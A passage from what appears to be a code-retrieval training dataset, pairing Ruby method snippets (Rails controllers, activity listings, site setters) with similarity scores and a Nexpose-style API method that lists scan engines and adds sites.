"def activity_collection_for_select_options(time_entry=nil, project=nil)\n project ||= @project\n if project.nil?\n activities = TimeEntryActivity.shared.active\n else\n activities = project.activities\n end\n\n collection = []\n if time_entry && time_entry.activity && !time_entry.activity.active?\n collection << [ \"--- #{l(:actionview_instancetag_blank_option)} ---\", '' ]\n else\n collection << [ \"--- #{l(:actionview_instancetag_blank_option)} ---\", '' ] unless activities.detect(&:is_default)\n end\n activities.each { |a| collection << [a.name, a.id] }\n collection\n end",
"def index\n @activity_lists = ActivityList.all\n end",
"def get_activities_by_interval()\n return MicrosoftGraph::Shares::Item::List::Items::Item::GetActivitiesByInterval::GetActivitiesByIntervalRequestBuilder.new(@path_parameters, @request_adapter)\n end",
"def activities(options={})\n response = connection.get do |req|\n req.url \"activities\", options\n end\n return_error_or_body(response)\n end",
"def index\n current = Time.now\n @firefighters = User.includes(:schedules).joins(:schedules).where('? <= start_at AND end_at <= ?', current.beginning_of_day, current.beginning_of_day + 1.day )\n @availabilities = format_multiple_availabilities(@firefighters)\n end",
"def index\n @status_activities = StatusActivity.all\n end",
"def index\n @engineer_classes = EngineerClass.all\n end",
"def index\n @user = User.find(params[:user_id])\n @dev_activities = DevActivity.all\n end",
"def index\n @program_cycles = ProgramCycle.all\n end",
"def index\n @analytics_used_analysables = AnalyticsUsedAnalysable.all\n end",
"def get_all_activities\n \tself.is_manager? ? Activity.all : Activity.joins(:task).where(:tasks => { user_id: self.id })\n end",
"def activities(start = 0, limit = 100)\n redis.call 'LRANGE', key[:activities], start, start + limit\n end",
"def activity_log\n @identifier = Identifier.find(params[:id])\n created_at = SortableTable::SortColumnDefinition.new('created_at')\n sort_table = SortableTable::SortTable.new([created_at])\n @sort_column = sort_table.sort_column(params[:sort], params[:direction])\n resource_ids = @identifier.resources.collect(&:id)\n @curation_activities = CurationActivity.where(resource_id: resource_ids).order(@sort_column.order, id: :asc)\n @internal_data = InternalDatum.where(identifier_id: @identifier.id)\n end",
"def scheduled_interviews\n\t cur_emp = get_logged_employee\n\t\tif cur_emp.employee_type == \"ADMIN\" || cur_emp.employee_type == \"HR\"\n\t @interviews = ReqMatch.where(:status => \"SCHEDULED\")\n\t\telse\n\t #@interviews = ReqMatch.where(\"forwarded_to = ?\", cur_emp.eid).where(:status => \"SCHEDULED\")\n\t @interviews = ReqMatch.where(\"forwarded_to = ?\", cur_emp.eid, :status => \"SCHEDULED\")\n\t\tend\n\t\trender \"resumes/interviews_status\"\n\tend",
"def objects\n\t\t\t\tparams=self.field_hash[:params]\n\t\t\t\tret=[]\n\t\t\t\tunless params.nil?\n\t\t\t\t\tactivity=params[:activity]\n\t\t\t\t\tparams.delete(:activity)\n\t\t\t\t\tret = {:act => activity, :obj => params.values}\n\t\t\t\tend\n\t\t\t\tret\n\t\t\tend"
] |
[
"0.6531139",
"0.6531139",
"0.63660496",
"0.62723017",
"0.59774387",
"0.5886534",
"0.58821523",
"0.58210593",
"0.5661539",
"0.56202865",
"0.5569537",
"0.5528919",
"0.5512166",
"0.54550946",
"0.5436475",
"0.5417981",
"0.5391052",
"0.53896487",
"0.53633314",
"0.5358052",
"0.5355825",
"0.5345454",
"0.53366363",
"0.5334253",
"0.5332174",
"0.5323326",
"0.5320201",
"0.53109044",
"0.53036463",
"0.5239628",
"0.5230043",
"0.5216055",
"0.51968515",
"0.51815045",
"0.51788443",
"0.51712024",
"0.516225",
"0.5152732",
"0.51479864",
"0.51468325",
"0.5137435",
"0.51089126",
"0.5100985",
"0.5093115",
"0.5079488",
"0.50787705",
"0.5056977",
"0.50547504",
"0.5053286",
"0.5049586",
"0.5022605",
"0.5019939",
"0.5005046",
"0.5000052",
"0.498551",
"0.49763185",
"0.49742934",
"0.49734414",
"0.4962479",
"0.4962479",
"0.4962479",
"0.4962479",
"0.4962479",
"0.4962479",
"0.4962479",
"0.4962479",
"0.4962479",
"0.4962479",
"0.49516353",
"0.4945544",
"0.4944718",
"0.4942182",
"0.49386963",
"0.49332798",
"0.49229738",
"0.49222022",
"0.49210283",
"0.4915131",
"0.49100694",
"0.49038738",
"0.48992598",
"0.48992598",
"0.48932087",
"0.4889329",
"0.48825032",
"0.4872613",
"0.486878",
"0.4865102",
"0.48638338",
"0.48574236",
"0.48548996",
"0.48528054",
"0.48454672",
"0.4837692",
"0.48353192",
"0.48314604",
"0.4831194",
"0.48172298",
"0.48132235",
"0.48121774"
] |
0.6731486
|
0
|
Retrieve a list of all Scan Engines managed by the Security Console.
|
def list_engines
response = execute(make_xml('EngineListingRequest'))
arr = []
if response.success
response.res.elements.each('//EngineSummary') do |engine|
arr << EngineSummary.new(engine.attributes['id'].to_i,
engine.attributes['name'],
engine.attributes['address'],
engine.attributes['port'].to_i,
engine.attributes['status'],
engine.attributes['scope'])
end
end
arr
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def index\n @scanners = Scanner.all\n end",
"def list_scanners\n http_get(:uri=>\"/scanners\", :fields=>x_cookie)\n end",
"def engines\n @engines\n end",
"def index\n @scanhosts = Scanhost.all\n end",
"def list\n response = @client.get('scanners')\n verify response,\n forbidden: 'You do not have permission to view the list',\n internal_server_error: 'Server failed to retrieve properties'\n end",
"def index\n @engines = Engine.owner(current_user)\n end",
"def engines\n owner.json_api_command('tts-engines')\n end",
"def list(mixins = nil)\n computes = ::Occi::Core::Resources.new\n\n Backends::Ec2::Helpers::AwsConnectHelper.rescue_aws_service(@logger) do\n rsrvts = @ec2_client.describe_instances.reservations\n rsrvts.each do |reservation|\n next unless reservation && reservation.instances\n reservation.instances.each { |instance| computes << parse_backend_obj(instance, reservation[:reservation_id]) }\n end if rsrvts\n end\n\n computes\n end",
"def engines\n self.class.engines_for_name(name)\n end",
"def engines; engine_names; end",
"def get_available_cartridges\n args = Hash.new\n args['--porcelain'] = true\n args['--with-descriptors'] = true\n result = execute_direct(@@C_CONTROLLER, 'cartridge-list', args, false)\n result = parse_result(result)\n cart_data = JSON.parse(result.resultIO.string)\n cart_data.map! {|c| OpenShift::Cartridge.new(YAML.load(c))}\n end",
"def engines\n @engine_instances ||= ::Rails::Engine.subclasses.map(&:instance).select {|e| is_registered_platform_engine?(e)}\n end",
"def index\n @scan_protocols = current_account.scan_protocols.all\n end",
"def providers\n @providers.keys\n end",
"def all_scan_registers\n @all_scan_registers ||= begin\n s = scan_registers.dup\n modules.each do |mod|\n s += mod.all_scan_registers\n end\n s\n end\n end",
"def list\n ridley.environment.all\n end",
"def ime_available_engines\n @bridge.ime_available_engines\n end",
"def get_drivers\n return return_all_drivers\n end",
"def ime_available_engines\n ime.available_engines\n end",
"def available_servers\n authenticate_user!\n @rackspace_servers = Server.rackspace_servers\n end",
"def scan_list\n http_get(:uri=>\"/scans\", :fields=>x_cookie)\n end",
"def all\n scan_supported_keys\n end",
"def providers\n driver(current_driver).providers\n end",
"def engines\r\n @engines ||= plugins.select(&:engine?)\r\n end",
"def get_instances\n instances = [ ]\n get_clouds.each do |cloud|\n instances += cloud.instances.index(:filter => [], :view => 'tiny')\n end\n instances\n end",
"def listspiders(project=self.project)\n get('listspiders.json', project: project)['spiders']\n end",
"def instances_list\n return [] unless configured?\n\n @service.fetch_all do |token|\n @service.list_instances(@gcp_config['project'], @gcp_config['zone'], page_token: token)\n end.map(&:name)\n end",
"def list()\n\t\t\tkparams = {}\n\t\t\tclient.queue_service_action_call('registrysettings', 'list', 'KalturaRegistrySettingsListResponse', kparams)\n\t\t\tif (client.is_multirequest)\n\t\t\t\treturn nil\n\t\t\tend\n\t\t\treturn client.do_queue()\n\t\tend",
"def providers\n @providers_manager\n end",
"def index\n config = api.get_config_vars(app).body\n matches = config.keys & REDIS_PROVIDERS\n current = config['REDIS_URL']\n\n selected = REDIS_PROVIDERS.select do |key|\n config[key] == current && !current.nil?\n end\n\n if selected.empty?\n display \"No REDIS instance currently set to REDIS_URL\"\n else\n display \"Currently using #{selected.first}\\n\"\n end\n\n display\n display 'Available REDIS providers'\n matches.each do |match|\n display \" #{match}\"\n end\n end",
"def sapi_list\n @sapi_list ||= if supports_php5query?\n `/usr/sbin/php5query -q -S`.split(\"\\n\")\n else Array.new\n end\n end",
"def list\n interceptors_mutex do\n @registry.map { |h| h[:klass] }\n end\n end",
"def all_clients\n resp = get CLIENT_API_PATH\n result = process_response(resp)\n return [] if result.empty? # In case response is {}\n result.each.map { |c| Resources::Client.new(c) }\n end",
"def get_engines(engines = false)\n ebengines = []\n Rails::Engine.subclasses.each do |engine|\n ebengines << if engine.name.include?('Eb')\n engines ? engine : engine.name\n end\n end\n @engines = ebengines\n ebengines\n end",
"def providers\n url = url_with_api_version(@base_url, 'providers')\n resp = rest_get(url)\n JSON.parse(resp.body)[\"value\"]\n end",
"def get_all(provider = :aws)\n @@_rule_set_registry.fetch(provider, {}).values\n end",
"def index\n @security_agents = SecurityAgent.all\n end",
"def index\n @engineer_classes = EngineerClass.all\n end",
"def index\n @ssystems = Ssystem.all\n end",
"def init_instances\n instances = []\n next_token = nil\n all_records_retrieved = false\n\n until all_records_retrieved\n response = @@client.describe_instances({\n next_token: next_token\n })\n next_token = response.next_token\n all_records_retrieved = next_token.nil? || next_token.empty?\n instances << response.reservations.map { |r| r.instances }\n end\n\n instances.flatten\n end",
"def results\n @mutex.synchronize do\n resolvables = @resolvables\n @resolvables = []\n return resolvables\n end\n end",
"def solarsystems\n\t\tret = []\n\t\t@db.hgetall('sgt-sector:' + @id + ':systems').each do |coords, sid|\n\t\t\tret.push(SolarSystem.new(@db, sid))\n\t\tend\n\t\tret\n\tend",
"def get_all_instances(systems,code = @code)\n return [] unless code.is_a?(Array)\n return code.reduce([]) do |ar,sub|\n ar + get_all_instances(systems,sub)\n end + (code.select { |sub| is_instance?(sub,systems) }).to_a\n end",
"def get_drivers\n drivers\n end",
"def provider_list\n @provider_list ||= subclasses.inject([]) do |list, klass_name|\n klass = klass_name.constantize\n begin\n list << klass.instance\n rescue LoadError => exc\n logger.error \"#{klass} load error: #{exc}\"\n end\n list\n end\n end",
"def clients\n Harvest::Resources::Client\n end",
"def providers\n providers = YARD::Registry.all(\"puppet_providers_#{name}\".to_sym)\n return providers if providers.empty?\n\n providers.first.children\n end",
"def index\n @aws_platforms = AwsPlatform.all\n end",
"def instances\n instances = []\n JSON.parse(resource['/instances'].get)[\"instances\"].each do |i|\n instances << Instance.new(i)\n end\n return instances\n end",
"def providers\n @providers ||= {}\n end",
"def resource_sapi_list\n if new_resource.php_sapi.include?('ALL') then sapi_list\n elsif supports_php5query? then new_resource.php_sapi\n else Array.new\n end\n end",
"def services\n services = RingyDingy::RingServer.list_services\n return [] if services.empty?\n\n services = RingyDingy::RingServer.list_services.values.first.uniq\n\n rrc_servers = services.select do |_, klass,|\n klass == RailsRemoteControl::Server::RINGY_DINGY_SERVICE\n end\n\n rrc_servers.map do |_, _, server, name|\n host, pid, = name.split '_', 3\n Server.new host, pid.to_i, server\n end\n end",
"def list\n response = @client.get 'scans'\n ::JSON.parse response.body\n end",
"def registry\n Service.descendants\n end",
"def index\n @egc_server_types = EgcServerType.all\n end",
"def describe_instances\n return { reservations: [] } unless configured?\n\n @client.describe_instances.to_h\n end",
"def index\n @encrypters = Encrypter.all\n end",
"def kitchen_instances(regexp, config)\n instances = Kitchen::Config.new(config).instances\n return instances if regexp.nil? || regexp == 'all'\n instances.get_all(Regexp.new(regexp))\n end",
"def index\n if current_user.admin?\n @robot_instances = RobotInstance.all\n else\n @robot_instances = Array(current_user.org.robot_instances)\n end\n end",
"def systems\n @systems ||= []\n end",
"def instances\n Egi::Fedcloud::Vmhound::Log.info \"[#{self.class}] Retrieving active instances\"\n fetch_instances\n end",
"def all_objects\n Registry.all(:root, :module, :class)\n end",
"def describe_all_instances\n @os_aws.describe_all_instances\n end",
"def kitchen_instances(regexp, config)\n instances = Kitchen::Config.new(config).instances\n instances = instances.get_all(Regexp.new(regexp)) unless regexp.nil? || regexp == 'all'\n raise Kitchen::UserError, \"regexp '#{regexp}' matched 0 instances\" if instances.empty?\n instances\n end",
"def available_services_regions\n unless @regions\n @regions = []\n service_catalog.each do |service|\n next if service[\"type\"]==\"identity\"\n (service[\"endpoints\"] || []).each do |endpint|\n @regions << endpint['region']\n end\n end\n @regions.uniq!\n end\n @regions\n end",
"def index\n @vulnerability_scan_results = VulnerabilityScanResult.all\n end",
"def index\n @service_providers = ServiceProvider.all\n end",
"def suitable_providers\n return @suitable_providers if @suitable_providers\n @suitable_providers = []\n [\n @resource.class.defaultprovider,\n @resource.class.suitableprovider,\n ].flatten.uniq.each do |provider_class|\n if service_provider_enabled? provider_class\n @suitable_providers << provider_class.name\n end\n end\n @suitable_providers\n end",
"def all_servers\n Infrataster::Server.defined_servers.map { |i| server(i.name) }\nend",
"def hosts\n\t\tHost.find(:all)\n\tend",
"def find_all_resources options\n policy_scope(resource_class)\n end",
"def all\n path = \"/signers\"\n\n response, status = BeyondApi::Request.get(@session,\n path)\n\n handle_response(response, status)\n end",
"def list_instances()\n response = dbreq(\"GET\", dbmgmthost, \"#{dbmgmtpath}/instances\", dbmgmtport, dbmgmtscheme)\n CloudDB::Exception.raise_exception(response) unless response.code.to_s.match(/^20.$/)\n instances = CloudDB.symbolize_keys(JSON.parse(response.body)[\"instances\"])\n return instances\n end",
"def index\n @authers = Auther.all\n end",
"def index\n @authers = Auther.all\n end",
"def get_synthetics_devices\n request(Net::HTTP::Get, \"/api/#{API_VERSION}/synthetics/browser/devices\", nil, nil, false)\n end",
"def meterpreter_service_list #gets\n\t\tserviceskey = \"HKLM\\\\SYSTEM\\\\CurrentControlSet\\\\Services\"\n\t\tthreadnum = 0\n\t\ta =[]\n\t\tservices = []\n\t\tbegin\n\t\t\tmeterpreter_registry_enumkeys(serviceskey).each do |s|\n \t\t\t\tif threadnum < 10\n\t\t\t\t\ta.push(::Thread.new(s) { |sk|\n\t\t\t\t\t\tbegin\n\t\t\t\t\t\t\tsrvtype = registry_getvaldata(\"#{serviceskey}\\\\#{sk}\",\"Type\").to_s\n\t\t\t\t\t\t\tservices << sk if srvtype =~ /32|16/\n\t\t\t\t\t\trescue\n\t\t\t\t\t\tend\n\t\t\t\t\t})\n\t\t\t\t\tthreadnum += 1\n\t\t\t\telse\n\t\t\t\t\tsleep(0.05) and a.delete_if {|x| not x.alive?} while not a.empty?\n\t\t\t\t\tthreadnum = 0\n\t\t\t\tend\n\t\t\tend\n\t\trescue Exception => e\n\t\t\tprint_error(\"Error enumerating services. #{e.to_s}\")\n\t\tend\n\t\treturn services\n\tend",
"def all\n list_embedded Organization.exists(carrier_profile: true).order_by([:legal_name]).to_a\n end",
"def devices\n puts `instruments -s devices | grep -v '(Simulator)'`\n end",
"def instances()\n return @instances\n end",
"def index\n if search_params[:address] == nil\n @engines = Engine.all\n else\n shop_ids = Shop.near(search_params[:address], 10).to_a.pluck(:id)\n # Engine.where('shop_id IN (?)', shop_ids)\n @engines = Engine.where(shop_id: shop_ids)\n end\n end",
"def get_auto_start_providers\n\t\ts = get_admin_section \"system.applicationHost/serviceAutoStartProviders\"\n\t\tIisObjectCollection.new s.Collection, :add, AutoStartProvider\n\tend",
"def all_servers\n if is_zz?\n return app_config[:all_servers]\n end\n\n return @all_servers if @all_servers != nil\n\n instances = ey['environment']['instances']\n\n # collect all the app server hosts\n @all_servers = []\n instances.each do |instance|\n @all_servers << instance['private_hostname']\n end\n # add ourselves if we have no info, running on dev box\n @all_servers << this_host_name if @all_servers.empty?\n\n @all_servers\n end",
"def discover(username, password, host)\n new_emses = []\n all_emses = includes(:authentications)\n all_ems_names = all_emses.map(&:name).to_set\n\n raw_connect(username, password, host, verify_ssl)\n\n EmsRefresh.queue_refresh(new_emses) unless new_emses.blank?\n\n new_emses\n end",
"def all\n @all ||= ENV['DOCKER_REGISTRIES'].to_s.split(',').map { |url| new(url) }\n end",
"def index\n admin_check\n @drivers = Driver.all\n end",
"def instances\n unless defined? @instances then\n candidates = [ self.instances_path ]\n if configuration.instances then\n candidates = configuration.instances\n end\n\n @instances = {}\n while not candidates.empty? do\n candidate = candidates.pop\n cpath = append_to_home_if_not_absolute( candidate )\n begin\n t = TyrantInstance.new( cpath )\n t.manager = self\n @instances[t.name] = t\n rescue TyrantManager::Error => e\n if File.directory?( cpath ) then\n Dir.glob( \"#{cpath}/*\" ).each do |epath|\n if File.directory?( epath ) then\n candidates.push epath\n end\n end\n end\n end\n end #while \n end\n return @instances\n end",
"def index\n @registrers = Registrer.all\n end",
"def all(options = {})\n data = service.list_monitored_resource_descriptors(options).body[\"resourceDescriptors\"] || []\n load(data)\n end",
"def list(opts = {})\n search_provider.list(opts)\n end",
"def applications\n select_application gp_card_manager_aid\n secure_channel\n gp_get_status :apps\n \n # TODO(costan): there should be a way to query the AIDs without asking the\n # SD, which requires admin keys.\n end",
"def list_seg\n raise \"no openstack instance\" if @openstack.nil?\n response = @openstack.list_security_groups\n keys = parse_hash_response(response.body, 'security_groups')\n keys.map { |k| k.fetch('name') }\n end",
"def available_instances\n @available_instances ||= {}\n end",
"def instances\n @instances ||= []\n end",
"def all_servers\n if @all_servers_cache.nil?\n @all_servers_cache=[]\n CLOUD_NAME.keys.each do |name|\n read(\"servers/#{name.to_s.upcase}\")[:data].each do |i|\n @all_servers_cache.push(i)\n end\n end\n end\n return @all_servers_cache\n end",
"def drivers\n send :adapters\n end",
"def list_asgs\n # collect the list of running instances in this zone\n ec2 = AWS::EC2.new\n region = ec2.regions[AMI_REGION]\n instances = region.instances.select { |i| i.tags.to_h[\"server\"] == APP_NAME }\n\n # now find the list of running asgs\n format = \"%-32s %s\"\n puts\n puts format % [\"Instance Groups\", \"Tags\"]\n puts format % [\"-\" * 32, \"-\" * 60]\n auto_scaling = new_auto_scaling\n count = 0\n auto_scaling.groups.each do |group|\n count = count + 1\n puts format % [group.name, tag_value(group.tags, \"env\")]\n\n instances.each do |i|\n if i.tags.to_h[\"env\"] == tag_value(group.tags, \"env\")\n puts \"\\t%s %-13s %s\" % [i.id, i.status, i.dns_name]\n end\n end\n puts\n end\n puts format % [\"-\" * 32, \"-\" * 60]\n puts \"Found #{count} ASGs\"\n puts\nend",
"def index\n @healthcare_providers = HealthcareProvider.all\n end",
"def index\n @providers = Provider.all\n end",
"def get_instances(role: nil, username: nil, bastion: nil)\n puts \"Getting instances for role: #{role}\"\n servers = []\n instances_for_role(role).each do |res|\n res[:instances].each do |inst|\n servers << \"#{username}@#{inst[:private_ip_address]}\"\n end\n end\n\n puts \" - #{servers.join(', ')}\"\n servers\n end"
] |
[
"0.5746477",
"0.57065904",
"0.57008016",
"0.56930375",
"0.56823623",
"0.5559899",
"0.5550172",
"0.5540904",
"0.5537062",
"0.5522223",
"0.5522174",
"0.54967386",
"0.5419142",
"0.541766",
"0.5414412",
"0.5404829",
"0.5400649",
"0.5395868",
"0.53940505",
"0.53471184",
"0.533045",
"0.53141075",
"0.53045535",
"0.5257697",
"0.5256432",
"0.52418745",
"0.5228108",
"0.52109456",
"0.5210222",
"0.5205896",
"0.5201034",
"0.5195751",
"0.5187171",
"0.51755035",
"0.5170304",
"0.5167217",
"0.5164211",
"0.51455724",
"0.5121218",
"0.5116563",
"0.5101837",
"0.5089958",
"0.5049955",
"0.5040114",
"0.50362927",
"0.50291806",
"0.5022374",
"0.5015029",
"0.5013836",
"0.50018615",
"0.4999131",
"0.49913928",
"0.49895632",
"0.49746627",
"0.4965548",
"0.4958739",
"0.4948037",
"0.49398038",
"0.4934315",
"0.49212104",
"0.49172512",
"0.49156576",
"0.4906731",
"0.49023893",
"0.49022135",
"0.48980203",
"0.4892127",
"0.48885694",
"0.48819104",
"0.48812252",
"0.4874653",
"0.4874139",
"0.48706746",
"0.48635104",
"0.48635104",
"0.48602274",
"0.4852389",
"0.4851949",
"0.48503798",
"0.4847954",
"0.48441067",
"0.4824959",
"0.4823057",
"0.48113534",
"0.48112535",
"0.4806964",
"0.48024118",
"0.48013455",
"0.4799054",
"0.47981182",
"0.4797549",
"0.47885588",
"0.47790754",
"0.47755042",
"0.47737566",
"0.47694287",
"0.47690922",
"0.4768351",
"0.47644308",
"0.47612292"
] |
0.57659
|
0
|
Assign a site to this scan engine.
|
def add_site(site_id)
sites << SiteSummary.new(site_id, nil)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def set_site\n @site = Site.find(params[:site_id])\n end",
"def set_site\n @site = Xmt::Press::Site.find(params[:id])\n end",
"def site=(site)\n @site = site\n end",
"def set_site\n @site = Site.find(params[:id])\n end",
"def set_site\n @site = Site.find(params[:id])\n end",
"def set_site\n @site = Site.find(params[:id])\n end",
"def set_site\n @site = Site.find(params[:id])\n end",
"def set_site\n @site = Site.find(params[:id])\n end",
"def set_site\n @site = Site.find(params[:id])\n end",
"def set_site\n @site = Site.find(params[:id])\n end",
"def set_site\n @site = Site.find(params[:id])\n end",
"def set_site\n @site = Site.find(params[:id])\n end",
"def set_site\n @site = Site.find(params[:id])\n end",
"def set_site\n @site = Site.find(params[:id])\n end",
"def set_site\n @site = Site.find(params[:id])\n end",
"def set_site\n @site = Site.find(params[:id])\n end",
"def set_site\n @site = Site.find(params[:id])\n end",
"def set_site\n @site = Site.find(params[:id])\n end",
"def set_site\n @site = params[:id] ? Site.find(params[:id]) : Site.new(site_params)\n end",
"def set_site\n @site = current_account.sites.find(params[:site_id]) if params[:site_id]\n end",
"def set_site\n @site = Site.find(params[:id])\n end",
"def set_site\n @site = Site.find_by(id: params[:id])\n #for preview/themes/set_theme\n @site ||= Site.find_by(id: params[:site_id])\n not_found if @site.nil?\n end",
"def set_site\n @site = Cms::Site.find(params[:id])\n end",
"def set_site\n @site = Site.find_by(slug: params[:site_slug])\n end",
"def set_site\n @site = Site.find_by slug: params[:slug]\n end",
"def set_site_url\n @site_url = SiteUrl.find(params[:id]) if params[:id]\n end",
"def assign_self_to_host(site_host)\n site_host.site = self\n end",
"def site=(value)\n @connection = nil\n @site = value\n end",
"def site=(site)\n @connection = nil\n @site = create_site_uri_from(site)\n end",
"def site=(site)\n @connection = nil\n if site.nil?\n @site = nil\n else\n @site = site\n end\n end",
"def set_site\n @site = @customer.find(params[:id]).sites\n end",
"def set_site_scan_engine(id, opts = {})\n data, _status_code, _headers = set_site_scan_engine_with_http_info(id, opts)\n data\n end",
"def set_site\n @site = Site.find_by(slug: params[:site_slug])\n\n # We just want a valid URL for the site\n @url = @site.routes.first.host_with_scheme if @site.routes.any?\n end",
"def set_search_site\n @search_site = SearchSite.find(params[:id])\n end",
"def set_site_page\n @site_page = SitePage.find(params[:id])\n end",
"def set_site\n @site = Site.find_by({slug: params[:site_slug]})\n\n if (@site.routes.any?)\n # We just want a valid URL for the site\n @url = @site.routes.first.host\n end\n end",
"def set_site_scan_engine(id, opts = {})\n data, _status_code, _headers = set_site_scan_engine_with_http_info(id, opts)\n return data\n end",
"def set_site\n @site = Site.find_by({slug: params[:site_slug]})\n\n if (@site.routes.any?)\n # We just want a valid URL for the site\n @url = @site.routes.first.host_with_scheme\n end\n end",
"def set_website\n uri = URI.parse(url)\n if website = Website.where(url: uri.host).first\n self.website = website\n else\n website = Website.create(url: uri.host)\n self.website = website\n end\n end",
"def set_site\n @site = Site.find_by_slug!(params[:site_slug])\n\n if (@site.routes.any?)\n # We just want a valid URL for the site\n @url = @site.routes.first.host_with_scheme\n end\n end",
"def website=(site)\n if site =~ /^http:\\/\\/|^https:\\/\\//i\n self[:website] = site\n elsif site.present?\n self[:website] = \"http://#{site}\"\n end\n end",
"def set_anatomic_site\n @anatomic_site = AnatomicSite.find(params[:id])\n end",
"def set_student_site\n @student_site = StudentSite.find(params[:id])\n end",
"def set_m_site\n #@m_site = MSite.find(params[:id])\n end",
"def update!(**args)\n @site = args[:site] if args.key?(:site)\n end",
"def set_site\n @site = Site.joins(:sizes).includes([:sizes, :reviews]).find(params[:id])\n end",
"def set_site_link\n @site_link = Site::Link.find(params[:id])\n end",
"def set_page\n @site_page = SitePage.find(params[:id])\n @site = @site_page.site\n end",
"def set_site_rule\n @site_rule = SiteRule.find(params[:id])\n end",
"def site_id=(value)\n @site_id = value\n end",
"def set_siteuser\n @siteuser = Siteuser.find(params[:id])\n end",
"def set_body_site\n @body_site = BodySite.find(params[:id])\n end",
"def set_sitelink\n @sitelink = Sitelink.find(params[:id])\n end",
"def set_site_page\n @site_page = Site::Page.unscoped.friendly.api(@api_keys_array).find(params[:id])\n end",
"def set_site_option\n @site_option = SiteOption.find(params[:id])\n end",
"def set_website\n @website = Website.friendly.find(params[:id])\n end",
"def set_website\n # @website = Website.find(params[:id])\n end",
"def set_sitekey( keyname, keyvalue)\n if sitekey_exist? keyname\n @site_data[\"site\"][keyname] = keyvalue\n end\n end",
"def set_site_manager\n @site_manager = SiteManager.find(params[:id])\n end",
"def set_study_site\n @study_site = StudySite.find(params[:id])\n end",
"def set_website\n @website = Website.find(params[:id])\n end",
"def set_website\n @website = Website.find(params[:id])\n end",
"def set_website\n @website = Website.find(params[:id])\n end",
"def load_site\n @site = Site.first\n end",
"def site(value)\n define_singleton_method(:site_value) { value }\n private_class_method :site_value\n end",
"def initialize(site)\n @site = site\n end",
"def site=(site)\n @site = site.is_a?(URI) ? site : @uri_parser.parse(site)\n @user = @uri_parser.unescape(@site.user) if @site.user\n @password = @uri_parser.unescape(@site.password) if @site.password\n end",
"def set_cms_site\n @cms_site = ::Cms::Site.find(params[:id])\n end",
"def create\n raise ArgumentError, \"Site already exists in Piwik, call 'update' instead\" unless new?\n raise ArgumentError, \"Name can not be blank\" if name.blank?\n raise ArgumentError, \"Main URL can not be blank\" if main_url.blank?\n xml = call('SitesManager.addSite', :siteName => name, :urls => main_url)\n result = XmlSimple.xml_in(xml, {'ForceArray' => false})\n @id = result.to_i\n @created_at = Time.current\n id && id > 0 ? true : false\n end",
"def update\n raise UnknownSite, \"Site not existent in Piwik yet, call 'save' first\" if new?\n raise ArgumentError, \"Name can not be blank\" if name.blank?\n raise ArgumentError, \"Main URL can not be blank\" if main_url.blank?\n xml = call('SitesManager.updateSite', :idSite => id, :siteName => name, :urls => main_url)\n result = XmlSimple.xml_in(xml, {'ForceArray' => false})\n result['success'] ? true : false\n end",
"def set_current_site\n Site.current = current_site\n end",
"def set_optimized_site\n @optimized_site = OptimizedSite.find(params[:id])\n end",
"def set_agent_website\n @agent_website = AgentWebsite.find(params[:id])\n end",
"def set_site_config\r\n @site_config = SiteConfig.find(params[:id])\r\n end",
"def set_site_mst\n @site_mst = SiteMst.find(params[:id])\n end",
"def set_system_siteview\n @system_siteview = System::Siteview.find(params[:id])\n end",
"def site(url = nil)\n @site = url if url\n resource ? (@site || resource.base_url) : @site\n end",
"def set_site_admin\n @site_admin = SiteAdmin.find(params[:id])\n end",
"def set_ooh_site\n @ooh_site = OohSite.find(params[:id])\n end",
"def set_website\n @website = Website.find(params[:id])\n end",
"def set_website\n begin\n @website = Website.find(params[:id])\n rescue Exception => e\n end\n end",
"def set_SiteID(value)\n set_input(\"SiteID\", value)\n end",
"def set_SiteID(value)\n set_input(\"SiteID\", value)\n end",
"def set_jobsite\n @jobsite = Jobsite.find(params[:id])\n end",
"def set_jobsite\n @jobsite = Jobsite.find(params[:id])\n end",
"def save_site params\n SiteProcessor.new(self).save_site(params)\n end",
"def set_site_setting\n @site_setting = Site::Setting.api(@api_keys_array).find(params[:id])\n end",
"def set_siteconfig\n\t\t@siteconfig = Siteconfig.find(params[:id])\n\tend",
"def set_site_plan\n @site_plan = @product.site_plans.find(params[:id])\n end",
"def set_poll_site\n @poll_site = PollSite.find(params[:id])\n end",
"def set_superadmin_site\n @site = Site.find(params[:id])\n end",
"def set_user_site_session\n @user_site_session = UserSiteSession.find(params[:id])\n end",
"def set_Website(value)\n set_input(\"Website\", value)\n end",
"def set_spider\n @spider = Spider.find(params[:id])\n end",
"def create\n\t url = params.require(:site)[:url]\n\t site = Site.create(url: url)\n\t LinksWorker.perform_async(site.id)\n\t redirect_to site_path(site)\n\tend",
"def with_site(new_site)\n original_current = self.current\n begin\n self.current = new_site\n yield( new_site )\n ensure\n self.current = original_current\n end\n end",
"def load_site\n self.site\n end",
"def set_site_datum\n @site_datum = SiteDatum.find(params[:id])\n end",
"def add_site(params = {})\n site_name.set params['site_name']\n client_division_site_number.set params['client_division_site_number']\n site_number.set params['site_number']\n address_1.set params['address_1']\n address_2.set params['address_2'] if params['address_2']\n zip_code.set params['zip_code']\n city.set params['city']\n country.select(params['country'], match: :first)\n sleep 2 # Wait for the state to be active #TODO: find a way to remove this sleep ~MD\n state.select(params['state']) unless state.disabled?\n study_env.select(params['study_env'])\n pi_email.set params['pi_email']\n pi_first_name.set(params['pi_first_name'])\n pi_last_name.set(params['pi_last_name'])\n pi_role.select(params['pi_role'])\n add_site_submit.click\n sleep 10 # Wait to create a site\n end",
"def add_site(n, site_name)\n site = Site.new(name: site_name, org_type: 'city', status: 'active')\n lat, lng = Geocoder.coordinates(@zip_xpath[n].text)\n site.contacts.build(city: @city_xpath[n].text, state: @state_xpath[n].text,\n zip: @zip_xpath[n].text, country: @country_xpath[n].text, lat: lat, lng: lng)\n site.save ? site.id : nil\n end",
"def process_site(site); end"
] |
[
"0.7191745",
"0.7166264",
"0.71177214",
"0.70990056",
"0.70990056",
"0.70990056",
"0.70990056",
"0.70990056",
"0.70990056",
"0.70990056",
"0.70990056",
"0.70990056",
"0.70990056",
"0.70990056",
"0.70990056",
"0.70990056",
"0.70990056",
"0.70990056",
"0.7080954",
"0.70780957",
"0.7077826",
"0.7000957",
"0.6939131",
"0.6791284",
"0.6686534",
"0.6642915",
"0.6605889",
"0.6575251",
"0.655193",
"0.64354634",
"0.6418038",
